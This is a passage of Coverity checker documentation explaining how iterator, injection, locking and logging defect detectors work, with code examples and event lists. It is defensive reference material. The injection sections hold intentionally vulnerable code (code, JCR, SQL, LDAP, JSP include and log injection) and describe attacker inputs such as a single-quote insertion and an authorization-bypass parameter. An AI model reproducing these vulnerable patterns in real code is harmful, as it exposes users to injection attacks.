15 familyListeners.remove(keysIterator.next());
16 }A correct way to write the previous example follows:
Iterator families = familyListeners.entrySet().iterator();
while (families.hasNext()) {
Map.Entry entry = families.next();
Collection currentListeners = (Collection) entry.getValue();
if (currentListeners.contains(listener))
currentListeners.remove(listener);
if (currentListeners.isEmpty())
families.remove();
else
entry.setValue(currentListeners);
}In the following example, i is intended to indicate the index of the
current element. However, if an element is removed, it will start pointing to the
next element.
for (Map<String,Object> itemObj : listAddItem) {
AddItemCall addItemCall = (AddItemCall) itemObj.get("addItemCall");
ItemType item = addItemCall.getItem();
String SKU = item.getSKU();
if (UtilValidate.isNotEmpty(requestParams.get("productId"))) {
String productId = requestParams.get("productId").toString();
if (productId.equals(SKU)) {
listAddItem.remove(i);
}
}
i++;
}This section describes one or more INVALIDATE_ITERATOR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
INVALIDATE_ITERATOR:container_type:<regular_expression> -
This C++ option adds to the list of
containers that the checker recognizes. Default is
unset.
The argument of this option is a regular expression. The checker treats a class as a container if both of the following are true:
The name of the class fully matches the regular expression.
The class has an end() function.
To specify multiple types as containers, use a regular expression alternative, for example:
-co INVALIDATE_ITERATOR:container_type:myVector|myArray
Be sure to escape the pipe from your shell. If you specify the
container_type option multiple times, only the last value
is used. Compare this option to the separate container_type
option to the MISMATCHED_ITERATOR checker.
INVALIDATE_ITERATOR:report_map_put:<boolean> - If this
Java option is set to
true, the checker reports defects involving
Map.put. By default, the checker treats Map.put as
though it cannot modify a collection. Defaults to
INVALIDATE_ITERATOR:report_map_put:false
This section describes one or more events produced by the INVALIDATE_ITERATOR checker.
deref_iterator - [C++ only] An iterator is dereferenced by
erase or by an explicit assignment to the result of the
end method. This event reports a defect where Coverity
determines that an invalid iterator is dereferenced.
erase_iterator - [C++ only] An iterator was passed to an STL
container's erase method.
mutate_collection - [Java only] Indicates that a method has
mutated a collection, thereby invalidating its iterators.
increment_iterator - [C++ only] An invalid iterator is
incremented.
past_the_end - [C++ only] An iterator was assigned the result
of an STL container's end method. Any iterator returned
from end should never be dereferenced or incremented. If
the checker is reporting this assignment incorrectly, suppress this event with a
code annotation.
return_collection_alias - [Java only] Indicates that a method
returns a collection that is an alias for another collection (for example,
Map.keySet).
Example:
return_collection_alias: Call tojava.util.Map.keySet()Iterableequivalent tofamilyListeners.
return_iterator - [Java only] Indicates that a method
returned an iterator from a collection.
Example:
return_iterator: Call tojava.util.Set.iterator()returns an iterator fromfamilyListeners.keySet().
use_iterator - [C++] Iterator use is
invalidated by a call to erase. If the checker sees any
future uses of an iterator that it believes was invalidated with a call to
erase, it will report a defect with this event.
use_iterator - [Java] Indicates that a
method has used an iterator that might be invalid.
JAVA_CODE_INJECTION finds Java code injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that accepts Java source or bytecode. This security vulnerability might allow an attacker to bypass security checks or execute arbitrary code.
Disabled by default: JAVA_CODE_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable JAVA_CODE_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more JAVA_CODE_INJECTION examples.
In the following example, the dx
parameter is treated as though it is tainted. It is concatenated into the string code.
This tainted value is then passed to CtNewMethod.make, which is treated as
a sink for this checker.
String dx = request.getParameter("dx");
CtClass point = ClassPool.getDefault().get("Point");
String code = "public int xmove(int dx) { x += " + dx + "; }";
CtMethod m = CtNewMethod.make(code, point);
point.addMethod(m);An attacker can define this Java method to execute arbitrary code.
This section describes one or more events produced by the JAVA_CODE_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
JCR_INJECTION finds Content Repository for Java (JCR) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into a query API for JCR. This security vulnerability might allow an attacker to affect the behavior of the JCR, bypass security controls, or obtain unauthorized data.
Disabled by default: JCR_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable JCR_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more JCR_INJECTION examples.
In the following example, the
name parameter is treated as though it is tainted. It is concatenated
into the JCR query through the query field. This tainted value is then
passed to QueryManager.createQuery, which is treated as a sink for this
checker.
public QueryResult doQuery(String name) {
QueryManager queryManager = session.getWorkspace().getQueryManager();
String query = "select * from nt:base where name= '" + name + "' "
Query query = queryManager.createQuery(query, Query.JCR_SQL2);
return query.execute();
}An attacker can change the intent of the JCR statement by inserting a single quote. Following the insertion, the attacker could add additional syntax to bypass the name check and perhaps disclose additional information through other JCR queries.
This section describes one or more events produced by the JCR_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: JavaScript
Coverity supports a JSHint analysis of JavaScript code through the
cov-analyze command. JSHint is an open source program for reporting
issues in JavaScript code. It primarily finds issues related to coding style, coding
standards, and code portability. The Coverity analysis uses the following format to report
JSHint issues: JSHINT.XXXX
JSHINT.XXXX
JSHINT: A JSHint checker type.
XXXX: A JSHint warning identifier, as described at jslinterrors.com
or http://jshint.com/
. For example,
the Coverity analysis reports an occurrence of the eval is evil
as a defect from the checker JSHINT.W061.
Disabled by default:
To enable the JSHint analysis, use the --enable-jshint option. See also,
Section 1.3.1, “Enabling and Disabling Checkers with cov-analyze”.
Coverity Analysis provides a default configuration that
disables a small subset of JSHint results that are better found with Coverity JavaScript
checkers. However, you can instead apply your own custom configuration by using the
--use-jshintrc .jshintrc option, where
.jshintrc specifies your configuration (see http://jshint.com/docs/
for
information about .jshintrc file configuration). If you do not use the
option, the analysis will run the default configuration file and ignore any
.jshintrc files in your source tree.
JSP_DYNAMIC_INCLUDE finds JSP dynamic include vulnerabilities, which arise when uncontrolled dynamic data is used as part of a JSP include path. An attacker can manipulate the local path of the JSP and bypass authorization or examine sensitive information.
Disabled by default: JSP_DYNAMIC_INCLUDE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable JSP_DYNAMIC_INCLUDE
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more JSP_DYNAMIC_INCLUDE examples.
In the following example, several JSP pages
are deployed in the container, including
/WEB-INF/admin/control-everything.jsp (which should only be
accessible to administrators) and /index.jsp.
<sec:authorize ifAnyGranted="ROLE_ADMIN">
<jsp:include src="admin/control-everything" />
</sec>
<sec:authorize ifNotGranted="ROLE_ADMIN">
<jsp:include src="${param.foo}" />
</sec>When the attacker (without the ROLE_ADMIN flag) sends
foo=admin/control-everything (the URL mapping for this JSP), the
authorization check ifAnyGranted="ROLE_ADMIN" will be bypassed.
This section describes one or more events produced by the JSP_DYNAMIC_INCLUDE checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
JSP_SQL_INJECTION
finds JSP SQL injection vulnerabilities, which arise when uncontrolled dynamic data is
passed into a JSTL <sql:query> or
<sql:update> tag. Similar to typical SQL injection, the
injection of tainted data might change the intent of the query, which can bypass
security checks or disclose unauthorized data.
Disabled by default: JSP_SQL_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable JSP_SQL_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more JSP_SQL_INJECTION examples.
In the following example, a JSP file is using
the JSTL <sql:query> tag. The body of the tag contains the SQL
query, injected with a tainted HTTP GET parameter name.
<sql:query dataSource="${ds}" var="db_tainted_and_param_tainted">
SELECT * from Employees WHERE name = '${param.name}'
</sql:query>An attacker can change the intent of the SQL statement by inserting a single quote. Following the insertion, the attacker could add additional syntax to bypass the name check and perhaps disclose additional information through other SQL queries.
This section describes one or more events produced by the JSP_SQL_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C#, Java, Visual Basic
LDAP_INJECTION finds Lightweight Directory Access Protocol (LDAP) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an LDAP query. The injection of tainted data might change the intent of the query, which can bypass security checks or disclose unauthorized data.
Disabled by default: LDAP_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable LDAP_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more LDAP_INJECTION examples.
In the following example, the parameter username is tainted. The
parameter is concatenated to a string used for an LDAP filter. This filter is passed
to DirContext.search, which is a sink for this checker.
public boolean isValidUser(String username) {
...
String searchFilter = "(CN=" + userName + ")";
DirContext ctx = getContext();
NamingEnumeration answer = ctx.search(baseDN, searchFilter, ctls);
...}An attacker can change the intent of the LDAP filter by inserting appropriate meta data. Following the insertion, the attacker could add additional syntax to bypass the username check. In the example, this might allow the attacker to bypass an authentication control.
using System.DirectoryServices;
using System.Web.Mvc;
namespace MyWebapp {
class DirectoryController : Controller {
protected ActionResult FindMailAddress()
{
var entry = new DirectoryEntry("LDAP://foobar.com:389",
"user", "password");
var search = new DirectorySearcher(entry)
{
Filter = "(objectClass=person)" +
"(mail=" + Request["mail_addr"] + ")" // LDAP_INJECTION defect
};
ViewBag.LdapResult = search.FindAll();
return View();
}
}
}> imports System.DirectoryServices
imports System.Web
Public Class LdapInjection
Dim ldapUser As String
Dim ldapPassword As String
Protected Function FindEmailEntries(request As HttpRequest) As SearchResultCollection
Dim entry = new DirectoryEntry("LDAP://foobar.com:389", ldapUser, ldapPassword)
' Create LDAP search filter
Dim search = new DirectorySearcher(entry) With
{
.Filter = "(objectClass=person)" + "(mail=" + request("main_address") + ")" '#defect#LDAP_INJECTION
}
' Perform search
Return search.FindAll()
End Function
End ClassThis section describes one or more events produced by the LDAP_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C, C++, Objective-C, Objective-C++
LOCK finds many cases where a lock/mutex is acquired but not released, or is locked twice without an intervening release. Usually, this issue occurs because an error-handling path fails to release a lock. The result is usually a deadlock.
Two types of locks are supported:
Exclusive : An exclusive lock cannot be acquired recursively and any attempt to do so will deadlock.
Recursive : The same thread can recursively acquire a recursive lock.
A lock can be either a global variable or local to a function.
LOCK reports a defect when the following sequence occurs:
![]() | |
The values in parenthesis, such as (+lock), are a documentation convention used to aid in illustrating the following examples. |
A variable L is locked (+lock).
L is not unlocked (-unlock).
One of the following can now occur:
The path's end is reached (-lock_returned) and L does not appear anywhere in the function's return value or its expression.
L is locked again (+double_lock). (Only for exclusive locks.)
No errors are reported for functions that intentionally lock a function argument.
Defects are also reported when the following sequence occurs:
L is unlocked (+unlock) .
L is passed to a function which asserts that lock L is held (+lockassert).
Forgetting to release an acquired lock can result in the program hanging : subsequent attempts to acquire the lock fail as the program waits for a release that will never occur.
Disabled by default: LOCK is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Concurrency checker enablement: To enable LOCK along with other concurrency checkers that are disabled by default, use the
--concurrency option to cov-analyze.
This section provides one or more LOCK examples.
int missing_unlock( struct info *data, int num ) {
spin_lock(data->lock); // +lock
if (num > data->count) {
/* +missing_unlock DEFECT: data is left locked,
any thread attempting to lock it
will wait indefinitely */
return -1;
}
spin_unlock(data->lock);
return 0;
}fn() {
for (i = 0; i < 10; i++) {
lock(A); // +lock, +double_lock
if (cond)
continue; // -unlock
unlock(A);
}
}fn(L l) {
lockassert(l);
// ...
}
caller() {
lock(A);
unlock(A); // +unlock
fn(A); // +lockassert
}As shown next, the checker recognizes and uses waits on conditions:
pthread_cond_wait(&condition, &mutex); // => infer mutex is locked upon return pthread_mutex_lock(&mutex); // Defect: double_lock event
The checker reports the next defects when a mutex is unlocked twice or unlocked while still initialized. This applies to non-recursive locks.
// Example 1: pthread_mutex_unlock(&mutex); // Code that does not involve locks: pthread_mutex_unlock(&mutex); // Defect: double_unlock // Example 2: pthread_mutex_init(&mutex, 0); // Code that does not involve locks: pthread_mutex_unlock(&mutex); // Defect: double_unlock event
To avoid the next defect, locks should be destroyed only when not held.
pthread_mutex_lock(&mutex); // Code that does not involve locks: pthread_mutex_destroy(&mutex); // Defect: locked_destroy event
Your code should wait on a given condition (&cond) while
holding a lock. If the checker detects that a lock is not held, it reports a
defect:
pthread_mutex_init(&mutex); // Initialized and unlocked // Code that does not involve locks: pthread_mutex_wait(&cond, &mutex); // Defect: unlocked_wait event
The checker reports a defect in different cases when uninitialized locks are used. After a lock is destroyed, anything other than a re-initialization will produce in a defect report, as shown below.
pthread_mutex_destroy(&mutex); // Code that does not involve locks: pthread_mutex_destroy(&mutex); // Defect here: uninitialized_use event
Below, the checker detects cases where a lock known to already be initialized is initialized again. This can happen when it is locked or unlocked.
// Example 1: pthread_mutex_init(&mutex, 0); pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event // Example 2: pthread_mutex_lock(&mutex, 0); pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event // Example 3: pthread_mutex_unlock(&mutex, 0); pthread_mutex_init(&mutex, 0); // Defect: double_initialization event
This section describes one or more LOCK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
LOCK:track_globals:<boolean> - When this
option is set to true, the
checker tracks global locks. Using this option might increase false positives.
Linux code base is extremely sensitive to this setting. Other code bases might
benefit from this option. Defaults to
LOCK:track_globals:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
This section describes one or more events produced by the LOCK checker.
double_initialization - an attempt to reinitialize an
initialized lock. See a code example, above.
double_lock - an attempt to acquire a non-recursive lock that
is already held. See a code example, above.
double_unlock - an attempt to release a non-recursive lock
that is not held.
lock - a variable is locked.
lockassert - a variable is passed to a function that asserts
that the lock is held.
locked_destroy - an attempt to destroy a lock that is
currently held. See a code example, above.
lock_returned - a variable does not appear in the function's
return value or its expression, after the path's end is reached.
missing_unlock - a variable is accessed without a
lock.
uninitialized_use - an attempt to use an uninitialized lock.
See a code example, above.
unlocked_wait - an attempt to wait on a condition when a lock
is not held. See a code example, above.
unlock - a variable is not unlocked.
LOCK_EVASION finds many instances in which the code evades the acquisition or sufficient holding of a lock that is protecting against modification of thread-shared data by checking a piece of that thread-shared data. The evasion might consist of not acquiring the lock or of releasing the lock early (leaving the modification itself unguarded). Evasion of holding a lock in this way can allow operations to be interleaved or reordered at runtime, such that data races occur.
In addition to reporting other incorrect locking patterns, this checker also reports defects on the double-checked lock pattern. This well-studied idiom consists of a null check on a non-volatile field, followed by a synchronized block entry, followed by the same null check. This pattern is fundamentally flawed in Java and is considered an unsafe and unnecessary coding practice in C#. In almost all Java cases, data corruption is possible, and when not possible, code can usually be removed to get the same effect with better efficiency and clarity.
The most common way that corrupted data gets read: The first thread that executes the code discovers that the field is null (twice) and assigns that field to a newly constructed object. A second thread enters the code and discovers that the field is not null. It then reads data fields of the referenced object without holding the same lock that guarded the creation and initialization of that object. In such a case, the Java Memory Model does not guarantee that the second thread will read the fully initialized data, even though it read the updated object reference. The compiler or CPU can reorder the writes, or the memory subsystem can propagate them out of order, or both. For a Java code example of the double-checked lock pattern, see the double-checked lock pattern example.
Enabled by default: LOCK_EVASION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more LOCK_EVASION examples.
class SomeClass {
public int field1;
public int field2;
public SomeClass(int x, int y) {
field1 = x;
field2 = y;
}
};
class LockEvasionExamples {
object myLock;
public SomeClass obj;
// obj could be initialized multiple times if multiple threads reach the
// lock statement simultaneously.
public void simpleSingleCheck(int x, int y) {
if(obj == null) {
lock(myLock) {
obj = new SomeClass(x, y);
}
}
int localX = obj.field1;
}
// Obj can be initialized multiple times if multiple threads make it
// through the locked region before any thread assigns a new value to obj.
public void incorrectSingleCheckLazyInit(int x, int y) {
lock(myLock) {
if(obj != null) {
return;
}
}
obj = new SomeClass(x, y);
}
public void callerOfIncorrectSingleCheck() {
incorrectSingleCheckLazyInit(3, 5);
int localX = obj.field1; // Can get bad data
}
// Correct lazy initialization
public void correctSingleCheckLazyInit(int x, int y) {
lock(myLock) {
if(obj == null) {
obj = new SomeClass(x, y);
}
}
int localX = obj.field1;
}
// Technically, this is correct; the release semantics of C# constructors
// guarantee that the initialization of fields in a constructed object
// happen before the return of the constructor. Although this checker
// understands that this pattern is ok, don't rely upon it in your code...
public void doubleCheckLazyInit(int x, int y) {
if(obj == null) {
lock(myLock) {
if(obj == null) {
obj = new SomeClass(x, y);
}
}
}
}
// ...because all it takes is another correlated field write for this
// guarantee to no longer hold perfectly. Below, obj being non-null
// guarantees nothing about the state of obj2. To ensure that all of the
// writes that another thread may have performed in the critical section
// are seen by the current thread, we must hold myLock.
SomeClass obj2;
public void doubleCheckCorrelatedFieldLazyInit(int x, int y) {
if(obj == null) {
lock(myLock) {
if(obj == null) {
obj = new SomeClass(x, y);
obj2 = new SomeClass(y, x);
}
}
}
int localX = obj2.field1;
}
// The setting of inCriticalSection to false can be moved at runtime inside
// the synchronized block, effectively replacing setting it to true. Thus,
// the boolean provides no protection.
public bool indicatorBool;
public bool inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
lock(myLock) {
if(inCriticalSection) {
return;
}
inCriticalSection = true;
}
obj = new SomeClass(x, y);
inCriticalSection = false;
}
public void callerOfEarlyReleaseLazyInit(int x, int y) {
earlyReleaseLazyInit(x, y);
int local = obj.field1;
}
// The setting of indicatorBool to true can be reordered in front of the
// setting of obj. Thus, this function can return while obj is still null.
public void indicatorBoolCheckLazyInit(int x, int y) {
if(indicatorBool) {
return;
}
lock(myLock) {
if(indicatorBool) {
return;
}
obj = new SomeClass(x, y);
indicatorBool = true;
}
}
public void callerOfIndicatorBoolCheckLazyInit(int x, int y) {
indicatorBoolCheckLazyInit(x, y);
int local = obj.field1;
}
}class SomeClass {
public int field1;
public int field2;
public SomeClass(int x, int y) {
field1 = x;
field2 = y;
}
};
class LockEvasionExamples {
Object lock;
public SomeClass obj;
// obj can be initialized multilpe times if multiple threads reach the lock
// statement simultaneously.
public void simpleSingleCheckLazyInit(int x, int y) {
if(obj == null) {
synchronized(lock) {
obj = new SomeClass(x, y);
}
}
int local = obj.field1;
}
// obj can be initialized multiple times if multiple threads execute the
// critical section before obj is initialized.
public void incorrectSingleCheckLazyInit(int x, int y) {
synchronized(lock) {
if(obj != null) {
return;
}
}
obj = new SomeClass(x, y);
}
public void callsIncorrectSingleCheckLazyInit(int x, int y) {
incorrectSingleCheckLazyInit(x, y);
int local = obj.field1; // Can get bad data
}
// Correct lazy initialization.
public void correctSingleCheckLazyInit(int x, int y) {
synchronized(lock) {
if(obj == null) {
obj = new SomeClass(x, y);
}
}
}
// A thread can see obj as not being null before its fields are
// initialized, causing obj to be used before its constructor has
// finished.
public void doubleCheckLazyInit(int x, int y) {
if(obj == null) {
synchronized(lock) {
if(obj == null) {
obj = new SomeClass(x, y);
}
}
}
int local = obj.field1;
}
// The assignment settting inCriticalSection to false can be moved inside
// the synchronized block at runtime, effectively replacing setting it to
// true. Thus, the boolean provides no protection.
public boolean inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
synchronized(lock) {
if(inCriticalSection) {
return;
}
inCriticalSection = true;
}
obj = new SomeClass(x, y);
inCriticalSection = false;
}
public void callsEarlyReleaseLazyInit(int x, int y) {
earlyReleaseLazyInit(x, y);
int local = obj.field1;
}
public boolean indicatorBool;
// The setting of indicatorBool to true can be reordered in front of the
// setting of obj at runtime.
public void indicatorBoolCheckLazyInit(int x, int y) {
if(indicatorBool) {
return;
}
synchronized(lock) {
if(indicatorBool) {
return;
}
obj = new SomeClass(x, y);
indicatorBool = true;
}
}
public void callsIndicatorBoolCheckLazyInit(int x, int y) {
indicatorBoolCheckLazyInit(x, y);
int local = obj.field1;
}
}Double-checked lock pattern: The following Java example allows the most common form of data corruption to occur. The note on the Double-checked lock pattern above describes this issue in more detail.
public class TestDCL {
private static Integer value;
public static Integer dcStatic() {
if (TestDCL.value == null) { /* Check outside of synchronized context */
synchronized (TestDCL.class) { // Lock acquired
if (TestDCL.value == null) { /* TestDCL.value checked against null again */
TestDCL.value = new Integer(5);
}
}
}
assert TestDCL.value.intValue() == 5; // Can fail
return TestDCL.value;
}
}If the above method is called from two threads, the assertion can fail in one of them because the memory writes in the other thread might happen or propagate in the wrong order.
One way to fix this issue: Remove the outer, unsynchronized check against null.
Another fix (for Java VMs version 1.5 or greater): Declare the field
value to be volatile. In some cases, including the
TestDCL example above, volatile eliminates the need
for explicit synchronization.
The following describes a sequence of events in a thread interleaving example. The order of the events might not be closely linked to their line number. When triaging a LOCK_EVASION defect, you should pay close attention to the order in which the defect report states that the events occur.
thread1_reads_field - [C#, Java] Thread1 reads a
thread-shared field at this location.
thread2_reads_field - [C#, Java] Thread2 reads a
thread-shared field at this location.
thread1_checks_field_ - [C#, Java] Thread1
checks the value of a thread-shared field at this location.
thread2_checks_field_ - [C#, Java] Thread2
checks the value of a thread-shared field at this location.
thread2_checks_field_early - [C#, Java] Possibly the main
event: Thread2 performs an unlocked check of the value of the
thread-shared field while a critical section that modifies the field is still
running.
thread1_double_checks_field - [C#, Java] Thread1
checks the value of a thread-shared field again while holding additional locks.
thread1_modifies_field - [C#, Java] Thread1
modifies a thread-shared field.
thread2_modifies_field - [C#, Java] Thread2
modifies a thread-shared field.
thread1_overwrites_value_in_field - [C#, Java] Possibly the
main event: Thread1 performs a second modification to a
thread-shared field that the code attempts to ensure is assigned only once.
remove_unlocked_check - [C#, Java] Remediation advice:
Suggests that you fix your code by removing an outer unlocked check.
use_same_locks_for_read_and_modify - [C#, Java] Remediation
advice: Suggests that you guard the read and modify of the field with the same
set of locks. This event can apply to the read or modify process, whichever is
guarded by fewer locks.
correlated_field - [C#, Java] Identifies a modification of a
field that occurs in the same critical section as the modification of the field
that is involved in the avoiding condition. At most, three of these events will
be produced per defect.
LOCK_INVERSION finds many cases where the program acquires a pair of locks/mutexes in different orders in different places. This issue can lead to a deadlock if two threads simultaneously use the opposite order of acquisition.
For example, the following sequence leads to a deadlock that results in the program hanging.
Thread 1 acquires and holds lock A while attempting to acquire lock B.
Thread 2 acquires and holds lock B while attempting to acquire shared lock A.
C#:
Disabled by default: LOCK_INVERSION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Java:
Enabled by default: LOCK_INVERSION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more LOCK_INVERSION examples.
In the following example, a LOCK_INVERSION defect occurs because
method() is holding myLock while attempting to acquire
Test, and method2() is holding Test while
attempting to acquire myLock.
public class Test {
public object myLock;
public void method() {
lock(myLock) {
lock(typeof(Test)) {
}
}
}
public void method2() {
lock(typeof(Test)) {
lock(myLock) {
}
}
}
}In the following lock inversion example, if two separate threads call
lock1 and lock2, it is possible that neither thread
will be able to make progress towards acquiring the necessary set of locks:
public class Deadlock {
static Object o1;
static Object o2;
public static void lock1() {
synchronized(o1) {
...
synchronized(o2) {
...
}
}
}
public static void lock2() {
synchronized(o2) {
...
synchronized(o1) {
...
}
}
}
}This section describes one or more LOCK_INVERSION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
LOCK_INVERSION:max_lock_depth:<maximum_value> - This
option specifies the maximum
depth of the call chain that acquires the second lock while the first lock is
held. This option exists because when the lock acquisitions are separated by a
deeply nested call chain, there is often some other synchronization mechanism
involved that the analysis cannot interpret, so the resulting reports are often
false positives. By default, if a second lock is acquired in a call chain that
has more than 6 getlock calls, the analysis will not treat it as a
lock acquired when holding another lock. As a consequence, it might suppress a
LOCK_INVERSION defect that is associated with that pair. To find such an issue,
enable this option by increasing the max_lock_depth value. Defaults to
LOCK_INVERSION:max_lock_depth:6
Example:
--checker-option LOCK_INVERSION:max_lock_depth:7This section describes one or more events produced by the LOCK_INVERSION checker.
lock_acquire: Acquiring the lock represented by the first element
of a lock order, whether the lock order is correct or incorrect.
lock_order: Acquiring the lock represented by the second element
of the incorrect lock order.
example_lock_order: Acquiring the lock represented by the second
element of a correct lock order.
getlock - [Java only] The actual lock acquisition if it
occurs in a different method.
LOG_INJECTION reports a defect when tainted data is stored in logs. If tainted data flows to a logging function, an attacker can forge log messages to confuse automated log parsing tools or developers trying to diagnose an attack or other problem.
Disabled by default: LOG_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more LOG_INJECTION examples.
The following example demonstrates a simple case of tainted data being stored in the logs:
import javax.servlet.http.HttpServletRequest;
import java.util.logging.Logger;
class Test {
private static Logger MyLogger = Logger.getLogger("InfoLogging");
HttpServletRequest req;
void simple_test() {
String attachment = req.getParameter("attachment");
MyLogger.info (attachment);//#defect#LOG_INJECTION
}
};
This C++ checker reports many occurrences when an iterator from an STL container is incorrectly passed to a function from another container. The checker also reports defects when an iterator from one container is compared to an iterator from a different container.
The following STL containers are supported: vector, list, map, multimap, set, multiset, hash_map, hash_multimap, hash_set, hash_multiset, basic_string, forward_list, unordered_map, unordered_multimap, unordered_set, unordered_multiset.
Enabled by default: MISMATCHED_ITERATOR is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISMATCHED_ITERATOR examples.
The following example erases an iterator from the wrong container:
void test(vector<int> &v1, vector<int> &v2) {
vector<int>::iterator i = v1.begin();
// Defect: Uses "i" from "v1" in a method on "v2"
v2.erase(i);
}The following example erases in iterator from the wrong container after a splice:
void test(list<int> &l1, list<int> &l2) {
list<int>::iterator i = l1.begin();
l2.splice(l2.begin(), l1);
// Defect: i belonged to l1 but was transferred to l2 with "splice"
l1.erase(i);
}The following example compares iterators from different containers:
void test(list<int> &l1, list<int> &l2) {
// Error: comparing "i" from "l1" with "l2.end()"
for(list<int>::iterator i = l1.begin(); i != l2.end(); ++i){}
}This section describes one or more MISMATCHED_ITERATOR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISMATCHED_ITERATOR:container_type:<regular_expression> -
This C++ option specifies an additional set
of types to treat as STL containers. A type is treated as a container if its
simple identifier (no scope qualifiers) fully (not a substring) matches the
specified regular expression, and it has an end() method. You can
specify multiple types by separating them with the '|' regex
operator. Default is unset.
The checker always includes the default container names. The checker treats a
